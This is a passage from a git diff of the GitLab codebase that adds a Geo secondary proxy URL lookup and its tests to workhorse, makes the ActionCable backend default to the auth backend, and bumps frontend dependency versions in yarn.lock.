+ const position = getPositionOfItem(index)
+ const direction = this.direction === 'vertical'
+ ? { scroll: 'scrollTop', start: 'top' }
+ : { scroll: 'scrollLeft', start: 'left' }
+
+ if (this.pageMode) {
+ const viewportEl = ScrollParent(this.$el)
+ // HTML doesn't overflow like other elements
+ const scrollTop = viewportEl.tagName === 'HTML' ? 0 : viewportEl[direction.scroll]
+ const viewport = viewportEl.getBoundingClientRect()
+
+ const scroller = this.$el.getBoundingClientRect()
+ const scrollerPosition = scroller[direction.start] - viewport[direction.start]
+
+ return {
+ viewport: viewportEl,
+ scrollDirection: direction.scroll,
+ scrollDistance: position + scrollTop + scrollerPosition,
+ }
+ }
+
+ return {
+ viewport: this.$el,
+ scrollDirection: direction.scroll,
+ scrollDistance: position,
}
},
diff --git a/vendor/project_templates/cluster_management.tar.gz b/vendor/project_templates/cluster_management.tar.gz
index d24470f1642..a7ed11e7ce3 100644
--- a/vendor/project_templates/cluster_management.tar.gz
+++ b/vendor/project_templates/cluster_management.tar.gz
Binary files differ
diff --git a/workhorse/config_test.go b/workhorse/config_test.go
index b1b04cb9a65..5a2743f375a 100644
--- a/workhorse/config_test.go
+++ b/workhorse/config_test.go
@@ -101,6 +101,38 @@ func TestConfigDefaults(t *testing.T) {
require.Equal(t, expectedCfg, cfg)
}
+func TestCableConfigDefault(t *testing.T) {
+ backendURL, err := url.Parse("http://localhost:1234")
+ require.NoError(t, err)
+
+ args := []string{
+ "-authBackend", backendURL.String(),
+ }
+ boot, cfg, err := buildConfig("test", args)
+ require.NoError(t, err, "build config")
+
+ expectedBoot := &bootConfig{
+ secretPath: "./.gitlab_workhorse_secret",
+ listenAddr: "localhost:8181",
+ listenNetwork: "tcp",
+ logFormat: "text",
+ }
+
+ require.Equal(t, expectedBoot, boot)
+
+ expectedCfg := &config.Config{
+ Backend: backendURL,
+ CableBackend: backendURL,
+ Version: "(unknown version)",
+ DocumentRoot: "public",
+ ProxyHeadersTimeout: 5 * time.Minute,
+ APIQueueTimeout: queueing.DefaultTimeout,
+ APICILongPollingDuration: 50 * time.Nanosecond,
+ ImageResizerConfig: config.DefaultImageResizerConfig,
+ }
+ require.Equal(t, expectedCfg, cfg)
+}
+
func TestConfigFlagParsing(t *testing.T) {
backendURL, err := url.Parse("http://localhost:1234")
require.NoError(t, err)
diff --git a/workhorse/internal/api/api.go b/workhorse/internal/api/api.go
index 5dae6eb01bb..db1c4cbbc27 100644
--- a/workhorse/internal/api/api.go
+++ b/workhorse/internal/api/api.go
@@ -3,6 +3,7 @@ package api
import (
"bytes"
"encoding/json"
+ "errors"
"fmt"
"io"
"net/http"
@@ -29,6 +30,8 @@ const (
ResponseContentType = "application/vnd.gitlab-workhorse+json"
failureResponseLimit = 32768
+
+ geoProxyEndpointPath = "/api/v4/geo/proxy"
)
type API struct {
@@ -37,6 +40,8 @@ type API struct {
Version string
}
+var ErrNotGeoSecondary = errors.New("this is not a Geo secondary site")
+
var (
requestsCounter = promauto.NewCounterVec(
prometheus.CounterOpts{
@@ -61,6 +66,10 @@ func NewAPI(myURL *url.URL, version string, roundTripper http.RoundTripper) *API
}
}
+type GeoProxyEndpointResponse struct {
+ GeoProxyURL string `json:"geo_proxy_url"`
+}
+
type HandleFunc func(http.ResponseWriter, *http.Request, *Response)
type MultipartUploadParams struct {
@@ -389,3 +398,40 @@ func bufferResponse(r io.Reader) (*bytes.Buffer, error) {
func validResponseContentType(resp *http.Response) bool {
return helper.IsContentType(ResponseContentType, resp.Header.Get("Content-Type"))
}
+
+// TODO: Cache the result of the API requests https://gitlab.com/gitlab-org/gitlab/-/issues/329671
+func (api *API) GetGeoProxyURL() (*url.URL, error) {
+ geoProxyApiUrl := *api.URL
+ geoProxyApiUrl.Path, geoProxyApiUrl.RawPath = joinURLPath(api.URL, geoProxyEndpointPath)
+ geoProxyApiReq := &http.Request{
+ Method: "GET",
+ URL: &geoProxyApiUrl,
+ Header: make(http.Header),
+ }
+
+ httpResponse, err := api.doRequestWithoutRedirects(geoProxyApiReq)
+ if err != nil {
+ return nil, fmt.Errorf("GetGeoProxyURL: do request: %v", err)
+ }
+ defer httpResponse.Body.Close()
+
+ if httpResponse.StatusCode != http.StatusOK {
+ return nil, fmt.Errorf("GetGeoProxyURL: Received HTTP status code: %v", httpResponse.StatusCode)
+ }
+
+ response := &GeoProxyEndpointResponse{}
+ if err := json.NewDecoder(httpResponse.Body).Decode(response); err != nil {
+ return nil, fmt.Errorf("GetGeoProxyURL: decode response: %v", err)
+ }
+
+ if response.GeoProxyURL == "" {
+ return nil, ErrNotGeoSecondary
+ }
+
+ geoProxyURL, err := url.Parse(response.GeoProxyURL)
+ if err != nil {
+ return nil, fmt.Errorf("GetGeoProxyURL: Could not parse Geo proxy URL: %v, err: %v", response.GeoProxyURL, err)
+ }
+
+ return geoProxyURL, nil
+}
diff --git a/workhorse/internal/api/api_test.go b/workhorse/internal/api/api_test.go
new file mode 100644
index 00000000000..5ab677c4233
--- /dev/null
+++ b/workhorse/internal/api/api_test.go
@@ -0,0 +1,74 @@
+package api
+
+import (
+ "fmt"
+ "net/http"
+ "net/http/httptest"
+ "net/url"
+ "regexp"
+ "testing"
+
+ "github.com/stretchr/testify/require"
+ "gitlab.com/gitlab-org/labkit/log"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/secret"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/testhelper"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/upstream/roundtripper"
+)
+
+func TestGetGeoProxyURLWhenGeoSecondary(t *testing.T) {
+ geoProxyURL, err := getGeoProxyURLGivenResponse(t, `{"geo_proxy_url":"http://primary"}`)
+
+ require.NoError(t, err)
+ require.NotNil(t, geoProxyURL)
+ require.Equal(t, "http://primary", geoProxyURL.String())
+}
+
+func TestGetGeoProxyURLWhenGeoPrimaryOrNonGeo(t *testing.T) {
+ geoProxyURL, err := getGeoProxyURLGivenResponse(t, "{}")
+
+ require.Error(t, err)
+ require.Equal(t, ErrNotGeoSecondary, err)
+ require.Nil(t, geoProxyURL)
+}
+
+func getGeoProxyURLGivenResponse(t *testing.T, givenInternalApiResponse string) (*url.URL, error) {
+ t.Helper()
+ ts := testRailsServer(regexp.MustCompile(`/api/v4/geo/proxy`), 200, givenInternalApiResponse)
+ defer ts.Close()
+ backend := helper.URLMustParse(ts.URL)
+ version := "123"
+ rt := roundtripper.NewTestBackendRoundTripper(backend)
+ testhelper.ConfigureSecret()
+
+ apiClient := NewAPI(backend, version, rt)
+
+ geoProxyURL, err := apiClient.GetGeoProxyURL()
+
+ return geoProxyURL, err
+}
+
+func testRailsServer(url *regexp.Regexp, code int, body string) *httptest.Server {
+ return testhelper.TestServerWithHandler(url, func(w http.ResponseWriter, r *http.Request) {
+ // return a 204 No Content response if we don't receive the JWT header
+ if r.Header.Get(secret.RequestHeader) == "" {
+ w.WriteHeader(204)
+ return
+ }
+
+ w.Header().Set("Content-Type", ResponseContentType)
+
+ logEntry := log.WithFields(log.Fields{
+ "method": r.Method,
+ "url": r.URL,
+ })
+ logEntryWithCode := logEntry.WithField("code", code)
+
+ // Write pure string
+ logEntryWithCode.Info("UPSTREAM")
+
+ w.WriteHeader(code)
+ fmt.Fprint(w, body)
+ })
+}
diff --git a/workhorse/internal/upstream/routes.go b/workhorse/internal/upstream/routes.go
index 230b67ed059..d46397e226e 100644
--- a/workhorse/internal/upstream/routes.go
+++ b/workhorse/internal/upstream/routes.go
@@ -191,12 +191,7 @@ func buildProxy(backend *url.URL, version string, rt http.RoundTripper, cfg conf
// see upstream.ServeHTTP
func configureRoutes(u *upstream) {
- api := apipkg.NewAPI(
- u.Backend,
- u.Version,
- u.RoundTripper,
- )
-
+ api := u.APIClient
static := &staticpages.Static{DocumentRoot: u.DocumentRoot, Exclude: staticExclude}
proxy := buildProxy(u.Backend, u.Version, u.RoundTripper, u.Config)
cableProxy := proxypkg.NewProxy(u.CableBackend, u.Version, u.CableRoundTripper)
diff --git a/workhorse/internal/upstream/upstream.go b/workhorse/internal/upstream/upstream.go
index 80e7d4056b6..c41eb98683b 100644
--- a/workhorse/internal/upstream/upstream.go
+++ b/workhorse/internal/upstream/upstream.go
@@ -8,6 +8,7 @@ package upstream
import (
"fmt"
+ "os"
"net/http"
"strings"
@@ -15,8 +16,10 @@ import (
"github.com/sirupsen/logrus"
"gitlab.com/gitlab-org/labkit/correlation"
+ apipkg "gitlab.com/gitlab-org/gitlab-workhorse/internal/api"
"gitlab.com/gitlab-org/gitlab-workhorse/internal/config"
"gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/log"
"gitlab.com/gitlab-org/gitlab-workhorse/internal/rejectmethods"
"gitlab.com/gitlab-org/gitlab-workhorse/internal/upload"
"gitlab.com/gitlab-org/gitlab-workhorse/internal/upstream/roundtripper"
@@ -32,11 +35,13 @@ var (
type upstream struct {
config.Config
- URLPrefix urlprefix.Prefix
- Routes []routeEntry
- RoundTripper http.RoundTripper
- CableRoundTripper http.RoundTripper
- accessLogger *logrus.Logger
+ URLPrefix urlprefix.Prefix
+ Routes []routeEntry
+ RoundTripper http.RoundTripper
+ CableRoundTripper http.RoundTripper
+ APIClient *apipkg.API
+ accessLogger *logrus.Logger
+ enableGeoProxyFeature bool
}
func NewUpstream(cfg config.Config, accessLogger *logrus.Logger) http.Handler {
@@ -60,6 +65,13 @@ func newUpstream(cfg config.Config, accessLogger *logrus.Logger, routesCallback
up.RoundTripper = roundtripper.NewBackendRoundTripper(up.Backend, up.Socket, up.ProxyHeadersTimeout, cfg.DevelopmentMode)
up.CableRoundTripper = roundtripper.NewBackendRoundTripper(up.CableBackend, up.CableSocket, up.ProxyHeadersTimeout, cfg.DevelopmentMode)
up.configureURLPrefix()
+ up.APIClient = apipkg.NewAPI(
+ up.Backend,
+ up.Version,
+ up.RoundTripper,
+ )
+ // Kind of a feature flag. See https://gitlab.com/groups/gitlab-org/-/epics/5914#note_564974130
+ up.enableGeoProxyFeature = os.Getenv("GEO_SECONDARY_PROXY") == "1"
routesCallback(&up)
var correlationOpts []correlation.InboundHandlerOption
@@ -108,6 +120,17 @@ func (u *upstream) ServeHTTP(w http.ResponseWriter, r *http.Request) {
// Look for a matching route
var route *routeEntry
+
+ if u.enableGeoProxyFeature {
+ geoProxyURL, err := u.APIClient.GetGeoProxyURL()
+
+ if err == nil {
+ log.WithRequest(r).WithFields(log.Fields{"geoProxyURL": geoProxyURL}).Info("Geo Proxy: Set route according to Geo Proxy logic")
+ } else if err != apipkg.ErrNotGeoSecondary {
+ log.WithRequest(r).WithError(err).Error("Geo Proxy: Unable to determine Geo Proxy URL. Falling back to normal routing")
+ }
+ }
+
for _, ro := range u.Routes {
if ro.isMatch(prefix.Strip(URIPath), r) {
route = &ro
diff --git a/workhorse/main.go b/workhorse/main.go
index de282b2c670..f5cb3f77746 100644
--- a/workhorse/main.go
+++ b/workhorse/main.go
@@ -95,7 +95,7 @@ func buildConfig(arg0 string, args []string) (*bootConfig, *config.Config, error
fset.StringVar(&cfg.Socket, "authSocket", "", "Optional: Unix domain socket to dial authBackend at")
// actioncable backend
- cableBackend := fset.String("cableBackend", upstream.DefaultBackend.String(), "ActionCable backend")
+ cableBackend := fset.String("cableBackend", "", "ActionCable backend")
fset.StringVar(&cfg.CableSocket, "cableSocket", "", "Optional: Unix domain socket to dial cableBackend at")
fset.StringVar(&cfg.DocumentRoot, "documentRoot", "public", "Path to static files content")
@@ -123,9 +123,14 @@ func buildConfig(arg0 string, args []string) (*bootConfig, *config.Config, error
return nil, nil, fmt.Errorf("authBackend: %v", err)
}
- cfg.CableBackend, err = parseAuthBackend(*cableBackend)
- if err != nil {
- return nil, nil, fmt.Errorf("cableBackend: %v", err)
+ if *cableBackend != "" {
+ // A custom -cableBackend has been specified
+ cfg.CableBackend, err = parseAuthBackend(*cableBackend)
+ if err != nil {
+ return nil, nil, fmt.Errorf("cableBackend: %v", err)
+ }
+ } else {
+ cfg.CableBackend = cfg.Backend
}
tomlData := ""
diff --git a/yarn.lock b/yarn.lock
index cbbe7a1114e..5b86288f11a 100644
--- a/yarn.lock
+++ b/yarn.lock
@@ -847,10 +847,10 @@
exec-sh "^0.3.2"
minimist "^1.2.0"
-"@eslint/eslintrc@^0.4.2":
- version "0.4.2"
- resolved "https://registry.yarnpkg.com/@eslint/eslintrc/-/eslintrc-0.4.2.tgz#f63d0ef06f5c0c57d76c4ab5f63d3835c51b0179"
- integrity sha512-8nmGq/4ycLpIwzvhI4tNDmQztZ8sp+hI7cyG8i1nQDhkAbRzHpXPidRAHlNvCZQpJTKw5ItIpMw9RSToGF00mg==
+"@eslint/eslintrc@^0.4.3":
+ version "0.4.3"
+ resolved "https://registry.yarnpkg.com/@eslint/eslintrc/-/eslintrc-0.4.3.tgz#9e42981ef035beb3dd49add17acb96e8ff6f394c"
+ integrity sha512-J6KFFz5QCYUJq3pf0mjEcCJVERbzv71PUIDczuh9JkwGEzced6CO5ADLHB1rbf/+oPBtoPfMYNOpGDzCANlbXw==
dependencies:
ajv "^6.12.4"
debug "^4.1.1"
@@ -867,10 +867,10 @@
resolved "https://registry.yarnpkg.com/@gitlab/at.js/-/at.js-1.5.7.tgz#1ee6f838cc4410a1d797770934df91d90df8179e"
integrity sha512-c6ySRK/Ma7lxwpIVbSAF3P+xiTLrNTGTLRx4/pHK111AdFxwgUwrYF6aVZFXvmG65jHOJHoa0eQQ21RW6rm0Rg==
-"@gitlab/eslint-plugin@8.4.0":
- version "8.4.0"
- resolved "https://registry.yarnpkg.com/@gitlab/eslint-plugin/-/eslint-plugin-8.4.0.tgz#094fa4d41676a71146f82e1b19257a7ceabefd88"
- integrity sha512-VE/c1yIMrj2igJWAALQtAKpnXL8fN5wJ1uKteZfi8xYbWouoUK6hizXSPrrEUWiM2FqcBI4Igcpz2JlJzDlAnA==
+"@gitlab/eslint-plugin@9.0.2":
+ version "9.0.2"
+ resolved "https://registry.yarnpkg.com/@gitlab/eslint-plugin/-/eslint-plugin-9.0.2.tgz#c7e0c8744001227d88624eb533047f3d5dd8d419"
+ integrity sha512-ZnjXo3jrZJ3sYf/2CwXzFk8Jfh02kO5ntk0h1pothzCswb96x02eTxhcCoM/dQPMTqDa0R+N4n2n2SEDtnBTbw==
dependencies:
babel-eslint "^10.0.3"
eslint-config-airbnb-base "^14.2.1"
@@ -881,7 +881,7 @@
eslint-plugin-jest "^23.8.2"
eslint-plugin-promise "^4.2.1"
eslint-plugin-vue "^7.5.0"
- lodash "4.17.20"
+ lodash "^4.17.21"
vue-eslint-parser "^7.0.0"
"@gitlab/favicon-overlay@2.0.0":
@@ -898,26 +898,25 @@
stylelint-declaration-strict-value "1.7.7"
stylelint-scss "3.18.0"
-"@gitlab/svgs@1.199.0":
- version "1.199.0"
- resolved "https://registry.yarnpkg.com/@gitlab/svgs/-/svgs-1.199.0.tgz#0512a854018defc4e286b8ecb2143958bb535146"
- integrity sha512-c/6SrvnQzkb4mfDzlHSnl/1zqUkqFZjkJmNHEb0E29l6XDLg3LQaUEMxSVGWIpW1D1RXG3zcGs845W12/WhciQ==
+"@gitlab/svgs@1.202.0":
+ version "1.202.0"
+ resolved "https://registry.yarnpkg.com/@gitlab/svgs/-/svgs-1.202.0.tgz#dbfad291fc5f597f0d31ca6a694fa8e78af57847"
+ integrity sha512-gnTSeb0o5UuUaDdjg1uzvVgETnXNyu0ta7arAHWOmLjDfXINwF6COR+ItM3ZVD//qUFSwYaCozgrDR642QAL4Q==
"@gitlab/tributejs@1.0.0":
version "1.0.0"
resolved "https://registry.yarnpkg.com/@gitlab/tributejs/-/tributejs-1.0.0.tgz#672befa222aeffc83e7d799b0500a7a4418e59b8"
integrity sha512-nmKw1+hB6MHvlmPz63yPwVs1qQkycHwsKgxpEbzmky16Y6mL4EJMk3w1b8QlOAF/AIAzjCERPhe/R4MJiohbZw==
-"@gitlab/ui@29.35.0":
- version "29.35.0"
- resolved "https://registry.yarnpkg.com/@gitlab/ui/-/ui-29.35.0.tgz#bb04d1e4f8796134bc406adaa869c1b5b1fdcaf2"
- integrity sha512-Fso++QXqxZSfIgSmPGlfQC3mdFI6oh/AOL/9cGn4t/3kfxwHd1GCMjUNAFeHsgyIwKIr1hwksipapwuuOIFSCw==
+"@gitlab/ui@31.5.0":
+ version "31.5.0"
+ resolved "https://registry.yarnpkg.com/@gitlab/ui/-/ui-31.5.0.tgz#45b7866b790e7d5a1b67b39000c047991036b437"
+ integrity sha512-pIJXbO0zfpgD0CmZTjKMMCu6l1AMLWiGPdPqDhqgGskuKGOU1UxX7ApDLesgRsSCievMTD/zsVvRHrG6AH7LiQ==
dependencies:
"@babel/standalone" "^7.0.0"
- "@gitlab/vue-toasted" "^1.3.0"
bootstrap-vue "2.18.1"
copy-to-clipboard "^3.0.8"
- dompurify "^2.2.9"
+ dompurify "^2.3.0"
echarts "^4.9.0"
highlight.js "^10.6.0"
js-beautify "^1.8.8"
@@ -932,10 +931,19 @@
resolved "https://registry.yarnpkg.com/@gitlab/visual-review-tools/-/visual-review-tools-1.6.1.tgz#0d8f3ff9f51b05f7c80b9a107727703d48997e4e"
integrity sha512-vY8K1igwZFoEOmU0h4E7XTLlilsQ4ylPr27O01UsSe6ZTKi6oEMREsRAEpNIUgRlxUARCsf+Opp4pgSFzFkFcw==
-"@gitlab/vue-toasted@^1.3.0":
- version "1.3.0"
- resolved "https://registry.yarnpkg.com/@gitlab/vue-toasted/-/vue-toasted-1.3.0.tgz#f21550d4ce406ee5f99447a02abf36250ecc922d"
- integrity sha512-xexu7YbbIkQS5FDqPaewrOTQ4/myth5VyU8+hWZ+Tj1e5CuAlDNha3dHbvwyLW8/2flm/2mfslFNPAX2DRe8ZQ==
+"@humanwhocodes/config-array@^0.5.0":
+ version "0.5.0"
+ resolved "https://registry.yarnpkg.com/@humanwhocodes/config-array/-/config-array-0.5.0.tgz#1407967d4c6eecd7388f83acf1eaf4d0c6e58ef9"
+ integrity sha512-FagtKFz74XrTl7y6HCzQpwDfXP0yhxe9lHLD1UZxjvZIcbyRz8zTFF/yYNfSfzU414eDwZ1SrO0Qvtyf+wFMQg==
+ dependencies:
+ "@humanwhocodes/object-schema" "^1.2.0"
+ debug "^4.1.1"
+ minimatch "^3.0.4"
+
+"@humanwhocodes/object-schema@^1.2.0":
+ version "1.2.0"
+ resolved "https://registry.yarnpkg.com/@humanwhocodes/object-schema/-/object-schema-1.2.0.tgz#87de7af9c231826fdd68ac7258f77c429e0e5fcf"
+ integrity sha512-wdppn25U8z/2yiaT6YGquE6X8sSv7hNMWSXYSSU1jGv/yd6XqjXgTDJ8KP4NgjTXfJ3GbRjeeb8RTV7a/VpM+w==
"@istanbuljs/load-nyc-config@^1.0.0":
version "1.1.0"
@@ -1257,10 +1265,10 @@
dependencies:
"@sinonjs/commons" "^1.7.0"
-"@sourcegraph/code-host-integration@0.0.57":
- version "0.0.57"
- resolved "https://registry.yarnpkg.com/@sourcegraph/code-host-integration/-/code-host-integration-0.0.57.tgz#aed4649a51745deef5e4ee79b9a4fdc092471237"
- integrity sha512-LLQp58+fqzM1IjAgti4zPwXrVVu2mNC8fpwNVnF23ead6JZPQe6Ap5fhOTZVE7ILQcFt78brGX/49Qib1Hsq0A==
+"@sourcegraph/code-host-integration@0.0.58":
+ version "0.0.58"
+ resolved "https://registry.yarnpkg.com/@sourcegraph/code-host-integration/-/code-host-integration-0.0.58.tgz#7adc78c0a420e7527c68782e2f0c9c62652df02d"
+ integrity sha512-a1h/qZ1jFf8VBhqWVccGY9VRjjEbqIH7pfY9o2TmuB94aE7bqFgslINkSY6HjefCjDb8akMy//3AjUyFZyYWhQ==
"@stylelint/postcss-css-in-js@^0.37.2":
version "0.37.2"
@@ -1297,151 +1305,151 @@
dom-accessibility-api "^0.5.1"
pretty-format "^26.4.2"
-"@tiptap/core@^2.0.0-beta.75":
- version "2.0.0-beta.75"
- resolved "https://registry.yarnpkg.com/@tiptap/core/-/core-2.0.0-beta.75.tgz#8295dfa7ca4b22de61e9c68a102763343b26e03a"
- integrity sha512-o5+xUIXnrEv6I2VrCTDI4d75tFW2NGXed+cuhYZw4+iikamL7SkrqgW/+EvIFPDggGo1b3D7xGd1CrXz9eEBhA==
+"@tiptap/core@^2.0.0-beta.86":
+ version "2.0.0-beta.86"
+ resolved "https://registry.yarnpkg.com/@tiptap/core/-/core-2.0.0-beta.86.tgz#11b575aee4ad2f30f73114c786da5cd13dde30e0"
+ integrity sha512-EeR6euRTJV9LhUog1PuiN1oLYRsz0SCEU5cQnGElzRzbd8dMnmFVc9cs81fbfjR8R1bfiarOJExrU2+OPHKXDw==
dependencies:
"@types/prosemirror-commands" "^1.0.4"
"@types/prosemirror-inputrules" "^1.0.4"
"@types/prosemirror-keymap" "^1.0.4"
- "@types/prosemirror-model" "^1.13.0"
+ "@types/prosemirror-model" "^1.13.1"
"@types/prosemirror-schema-list" "^1.0.3"
- "@types/prosemirror-state" "^1.2.6"
- "@types/prosemirror-transform" "^1.1.3"
- "@types/prosemirror-view" "^1.17.1"
- prosemirror-commands "^1.1.8"
+ "@types/prosemirror-state" "^1.2.7"
+ "@types/prosemirror-transform" "^1.1.4"
+ "@types/prosemirror-view" "^1.17.2"
+ prosemirror-commands "^1.1.10"
prosemirror-inputrules "^1.1.3"
prosemirror-keymap "^1.1.3"
- prosemirror-model "^1.14.1"
- prosemirror-schema-list "^1.1.4"
+ prosemirror-model "^1.14.2"
+ prosemirror-schema-list "^1.1.5"
prosemirror-state "^1.3.4"
prosemirror-transform "^1.3.2"
- prosemirror-view "^1.18.7"
+ prosemirror-view "^1.18.8"
-"@tiptap/extension-blockquote@^2.0.0-beta.13":
- version "2.0.0-beta.13"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-blockquote/-/extension-blockquote-2.0.0-beta.13.tgz#72a26dd54e5edb9abc4488ad7c1f0a43d4089bd5"
- integrity sha512-7Pis9bXMjyyXVIZS9zIytfRohofEhbTS8tQWCPrBNfb3ceSMQhNZf4jBBXQsngQntkO+0Di5LI1hFpa+XF+RYA==
+"@tiptap/extension-blockquote@^2.0.0-beta.14":
+ version "2.0.0-beta.14"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-blockquote/-/extension-blockquote-2.0.0-beta.14.tgz#f49872981aecdd21341c4d5db32ab68cba945756"
+ integrity sha512-1U/mJA1Yncl1Uvdv66oRhWrT7RZC/GdrZrvzU4EHdpRRwW4s71jvDVzqGX2tYwMO70TnwmkqMEWm0Csb1pOhMg==
dependencies:
prosemirror-inputrules "^1.1.3"
-"@tiptap/extension-bold@^2.0.0-beta.13":
- version "2.0.0-beta.13"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-bold/-/extension-bold-2.0.0-beta.13.tgz#d6b8f3797a6f7932ae38b9d761cc1effa886b715"
- integrity sha512-hMA6GItX/cWN1K9TBI1LeEPo8bFhX9JrE1flr6dxGJ9q58XVbzb2/ojZzcRFVdUp7oxNyQaFe6yP1JhTVcIrog==
+"@tiptap/extension-bold@^2.0.0-beta.14":
+ version "2.0.0-beta.14"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-bold/-/extension-bold-2.0.0-beta.14.tgz#6bf9ea70f7e24e6d674c7780471fcb6a7a4b91f4"
+ integrity sha512-WhKB3GfXhIDISQE2jYIVYe0aVQCvQRJQZCRFeac7kMxHE2veHWpjqjbp7jSbvTQ7YVZxPZFvezVs+3HWz1K0xg==
-"@tiptap/extension-bubble-menu@^2.0.0-beta.20":
- version "2.0.0-beta.20"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-bubble-menu/-/extension-bubble-menu-2.0.0-beta.20.tgz#248c70910bf232ed5fb9eb3a7c084bc592d2341d"
- integrity sha512-eomoCnZBGuPBWvacMHtaLJ2EqTrA0OZoLEwMKiPy4Y3eD2/Us9nLVFWq2DqaB7nXxG0BCN1ZnaKTtpoJtdEgSQ==
+"@tiptap/extension-bubble-menu@^2.0.0-beta.24":
+ version "2.0.0-beta.24"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-bubble-menu/-/extension-bubble-menu-2.0.0-beta.24.tgz#e6db5bc0386ccdbd483e57296b22eb6dd55914ba"
+ integrity sha512-u1btwasgaidUr9JLQwFQwf9oeXUYPv9TyBzUn/soj9F8qKrWxQxTi/EQUsudvjumzsQOX+tZQIj/YtO5EzR+hA==
dependencies:
prosemirror-state "^1.3.4"
- prosemirror-view "^1.18.7"
+ prosemirror-view "^1.18.8"
tippy.js "^6.3.1"
-"@tiptap/extension-bullet-list@^2.0.0-beta.13":
- version "2.0.0-beta.13"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-bullet-list/-/extension-bullet-list-2.0.0-beta.13.tgz#8b2c4ec8decc5562ae9bb5d97b0a99e0b27f9794"
- integrity sha512-6W0T6U/Gm3ypLJDTe79K/0mFc88svJrP6TFjj3tcXwpygnwcCpBmpJv4DG656eGmB6rGGVPe1K/zoT1j6HB8+A==
+"@tiptap/extension-bullet-list@^2.0.0-beta.14":
+ version "2.0.0-beta.14"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-bullet-list/-/extension-bullet-list-2.0.0-beta.14.tgz#29b9bfa2e908cdb01943242f75daf82115f5afd1"
+ integrity sha512-PcyaTNk/aGaXVC98mPAq4TRjXG6dDNb0CAeBqFIo8hLywwwKTaLfLQJNHtm605MSoEo2f8XO6gfQhWgJQQ6qwA==
dependencies:
prosemirror-inputrules "^1.1.3"
-"@tiptap/extension-code-block-lowlight@2.0.0-beta.25":
- version "2.0.0-beta.25"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-code-block-lowlight/-/extension-code-block-lowlight-2.0.0-beta.25.tgz#eb5f721fa8a4035244b7883e3cfc770f17fae27f"
- integrity sha512-wfqbu27/LTtb2W1ExR3pmJoNJosM/Vq7VJeg5FB+Bt6hyBZ6GVRd8ABEnJb4SXeCRBXXs6sJoEkcGyEMgAtcZg==
+"@tiptap/extension-code-block-lowlight@2.0.0-beta.32":
+ version "2.0.0-beta.32"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-code-block-lowlight/-/extension-code-block-lowlight-2.0.0-beta.32.tgz#ef9ff6883f2d669e6be79c69f26749641462e1ea"
+ integrity sha512-RnKAlE981k7VYIUUZ2jYZVGzZJalzrRw6dCf0rfgPvSY3T+ih9gVjKr+APGTuX3tsSR+s3UHs6YUI9+83pje3A==
dependencies:
- "@tiptap/extension-code-block" "^2.0.0-beta.15"
- "@types/lowlight" "^0.0.2"
+ "@tiptap/extension-code-block" "^2.0.0-beta.16"
+ "@types/lowlight" "^0.0.3"
lowlight "^1.20.0"
- prosemirror-model "^1.14.1"
+ prosemirror-model "^1.14.2"
prosemirror-state "^1.3.4"
- prosemirror-view "^1.18.7"
+ prosemirror-view "^1.18.8"
-"@tiptap/extension-code-block@^2.0.0-beta.15":
- version "2.0.0-beta.15"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-code-block/-/extension-code-block-2.0.0-beta.15.tgz#3fb0f04c38f8276195a1a958cc7d3399b52dc46a"
- integrity sha512-iBuK/nnUw37O9mZVnuZu+viSNzLz7SRktjDtFhp6RM3ZVSOYIYjt6pJ05EVJ263QEeXB4Q1Qae8/xJOPPHN9hw==
+"@tiptap/extension-code-block@^2.0.0-beta.16":
+ version "2.0.0-beta.16"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-code-block/-/extension-code-block-2.0.0-beta.16.tgz#7788ee1af04eb84fe194261bb1bb835dbe7ad59e"
+ integrity sha512-FgKuobqybmkVidRsOSatgVYEyHldvGPBu7/nr5z131PHMqTe7Z35c4r2ts5DCZRsOoby17Nn4iLAENqtsmyyJQ==
dependencies:
prosemirror-inputrules "^1.1.3"
-"@tiptap/extension-code@^2.0.0-beta.13":
- version "2.0.0-beta.13"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-code/-/extension-code-2.0.0-beta.13.tgz#fa2d14c61fe213c2c40b196e1b1b7a8862cec987"
- integrity sha512-em1rGWZXYlH6DrcIWRTvYefBzig34y7HBeWIB3uRHULd2GpRIowfbl8SRFgeapoKj1kbYjAtVr+wshlNi9/ujw==
+"@tiptap/extension-code@^2.0.0-beta.14":
+ version "2.0.0-beta.14"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-code/-/extension-code-2.0.0-beta.14.tgz#679a741589d63006140605553be7c6148c000814"
+ integrity sha512-Z67Ae2BPTAXG8VxHaw2SAS9HjUmfL1fUew5IUdaML8GOSaBYjzIffvN/+0MNdxkBEFxMJu4zm3o/WdWIoUckdQ==
"@tiptap/extension-document@^2.0.0-beta.12":
version "2.0.0-beta.12"
resolved "https://registry.yarnpkg.com/@tiptap/extension-document/-/extension-document-2.0.0-beta.12.tgz#dfbc7e686075a38662a43708903cd2047cf7f4b2"
integrity sha512-i5anc2n98Jg1gi6WDLTaS76jLIUe41FHuMHgL4DCIDXv8m2q0qnktfmOvh9AMF7cPzJ2NVAR9xYw0Pxm3qXY4w==
-"@tiptap/extension-dropcursor@^2.0.0-beta.14":
- version "2.0.0-beta.14"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-dropcursor/-/extension-dropcursor-2.0.0-beta.14.tgz#b5e4137d4be1afe14a8f67d932af5e6d3df7cb56"
- integrity sha512-F6sbclgoWPiindx/g1Hxf7jfimne7mrxeCBXvI8xfbcHwTubFhR+nZ+tiIfttcxdM4FNusSsLsDJo7rfE/kiUg==
+"@tiptap/extension-dropcursor@^2.0.0-beta.17":
+ version "2.0.0-beta.17"
